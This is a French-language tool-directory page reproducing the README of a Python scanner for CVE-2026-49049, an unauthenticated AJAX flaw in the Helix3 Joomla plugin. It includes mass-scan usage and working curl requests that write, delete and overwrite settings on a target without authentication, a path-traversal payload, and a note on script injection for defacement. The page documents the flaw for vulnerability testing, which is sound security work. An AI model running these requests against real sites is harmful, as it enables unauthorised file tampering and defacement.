Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-49049 — Read-only vulnerability scanner for CVE-2026-49049 — Helix3 Joomla plugin unauthenticated AJAX handler | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-49049
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubshinthink/cve-2026-49049

CVE-2026-49049

Read-only vulnerability scanner for CVE-2026-49049 — Helix3 Joomla plugin unauthenticated AJAX handler

Voir le dépôt
4il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Python CVE CVSS License

CVE-2026-49049 — Plugin Helix3 pour Joomla (JoomShaper)

Gestionnaire AJAX non authentifié — Scanner de vulnérabilité en lecture seule


Aperçu

CVE-2026-49049 affecte le framework de template Helix3 pour Joomla (versions 1.0 à 3.1.0). Le gestionnaire onAjaxHelix3, accessible via le répartiteur com_ajax de Joomla, n'effectue aucune authentification, autorisation ou validation CSRF sur plusieurs actions destructrices :

Remarque : L'action import a été ajoutée dans Helix3 v3.x. Les sites utilisant v2.x ne sont affectés que par save et remove.

La vulnérabilité a été découverte par Phil Taylor (mySites.guru) et publiée le 29 juin 2026.

Versions affectées

Version Helix3save/removeimport
1.0 – 2.xVulnérableNon présent
3.0 – 3.1.0VulnérableVulnérable
3.1.1+CorrigéCorrigé

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt

Utilisation

root@kitploit:~
# Cible unique
python cve_2026_49049.py -t 192.168.1.100

# Scan de masse
python cve_2026_49049.py -f targets.txt -o results.txt

# Avec rapport JSON + verbeux
python cve_2026_49049.py -f targets.txt --json report.json -v

Arguments

root@kitploit:~
  -t, --target     Cible unique (domaine ou IP)
  -f, --file       Fichier contenant les cibles, une par ligne
  -o, --output     Sortie texte en temps réel (défaut : cve-2026-49049_scan.txt)
  --json           Rapport JSON structuré (défaut : cve-2026-49049_report.json)
  --threads        Travailleurs simultanés (défaut : 15)
  --timeout        Délai d'attente HTTP en secondes (défaut : 15)
  -v, --verbose    Afficher les détails de la sonde

Preuve de concept

Détection et validation

Le scanner effectue une sonde en lecture seule — il écrit un fichier JSON inoffensif dans le dossier de mise en page Helix3 via le point de terminaison save non authentifié, vérifie qu'il a été écrit, puis le supprime immédiatement via le point de terminaison remove. Aucune modification persistante n'est laissée sur la cible.

root@kitploit:~
$ python cve_2026_49049.py -t 192.168.1.100 -v
root@kitploit:~
    CVE-2026-49049 — Helix3 (JoomShaper)
    Joomla Unauthenticated AJAX Handler Scanner

    [*] save   — accessible (probe: 3a9719da)
    [*] remove — accessible (probe cleaned)

  Host      : 192.168.1.100
  Status    : vulnerable
  Helix3    : 2.5.6
  Vulnerable: YES
  save      : YES
  remove    : YES
  import    : NO
  Time      : 2.0s

Reproduction manuelle

Le scanner sonde ces points de terminaison exacts. Pour une vérification manuelle :

Étape 1 — Confirmer que Helix3 est installé

root@kitploit:~
curl -sk 'https://target.com/templates/shaper_helix3/templateDetails.xml'
# Recherchez <version>X.X.X</version>

Étape 2 — Tester l'action save (écriture de fichier non authentifiée)

root@kitploit:~
curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'

Étape 3 — Tester l'action remove (suppression de fichier non authentifiée)

root@kitploit:~
curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=remove&data[layoutName]=_test_probe.json'

Étape 4 — Tester l'action import (v3.x uniquement, non disponible dans v2.x)

root@kitploit:~
curl -sk -X POST \
  'https://target.com/index.php?option=com_ajax&plugin=helix3&format=json' \
  -d 'data[action]=import&data[template_id]=1&data[settings]={}'

# Remarque : import a été ajouté dans Helix3 v3.x.
# Les sites utilisant v2.x renverront une réponse vide pour cette action.

Mécanisme de la vulnérabilité

Dans les versions de Helix3 antérieures à 3.1.1, plugins/ajax/helix3/helix3.php traite les requêtes via onAjaxHelix3() sans aucune protection :

root@kitploit:~
public function onAjaxHelix3()
{
    $input = Factory::getApplication()->input;
    $data  = $input->post->get('data', [], 'array');
    $action = $data['action'];
    $layoutName = $data['layoutName'];

    // Pas de vérification d'authentification. Pas de jeton CSRF. Pas de validation de chemin.
    $filepath = $layoutPath . $layoutName;   // traversée de chemin possible

    switch ($action) {
        case 'remove':
            unlink($filepath);               // suppression de fichier arbitraire
            break;
        case 'save':
            fwrite(fopen($filepath . '.json', 'wb'), $data['content']);  // écriture
            break;
    }
}

Ce qui rend cela dangereux

  • Save + traversée de chemin — layoutName=../../../somewhere/evil écrit des fichiers en dehors du dossier de mise en page prévu
  • Remove n'a aucune restriction d'extension — contrairement à save (qui ajoute .json), remove peut cibler n'importe quel type de fichier
  • Import (v3.x) écrase les paramètres de la base de données — custom_js est rendu non échappé dans la sortie du template, permettant l'injection de script sur chaque page. C'est le vecteur utilisé dans les attaques de défiguration réelles.

Avertissement

UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ.

Ce logiciel est destiné aux professionnels de la sécurité effectuant des tests d'intrusion autorisés, aux organisations auditant leur propre infrastructure, et aux chercheurs étudiant l'exploitation des vulnérabilités.

L'accès non autorisé à des systèmes informatiques est illégal et peut violer :

  • États-Unis : Computer Fraud and Abuse Act (18 U.S.C. 1030)
  • Indonésie : UU ITE Pasal 30 & 46
  • Union européenne : Directive 2013/40/EU
  • Royaume-Uni : Computer Misuse Act 1990

Les auteurs déclinent toute responsabilité en cas d'utilisation abusive. En utilisant ce logiciel, vous acceptez l'entière responsabilité de vos actions.


Références

RessourceLien

Ce projet n'est affilié ni à JoomShaper, ni à Joomla, ni à Open Source Matters, Inc.

Télécharger l’outil
ActionImpactDisponible dans
saveÉcrit des fichiers JSON contrôlés par l'attaquant avec traversée de cheminToutes les versions
removeSupprime des fichiers arbitraires — aucune restriction d'extension ou de cheminToutes les versions
importÉcrase les paramètres de template stockés dans la base de donnéesv3.x uniquement
Avis original (mySites.guru)Correction de sécurité Helix3 3.1.1
Entrée NVDCVE-2026-49049
OpenCVECVE-2026-49049
GitHub JoomShaperDépôt Helix3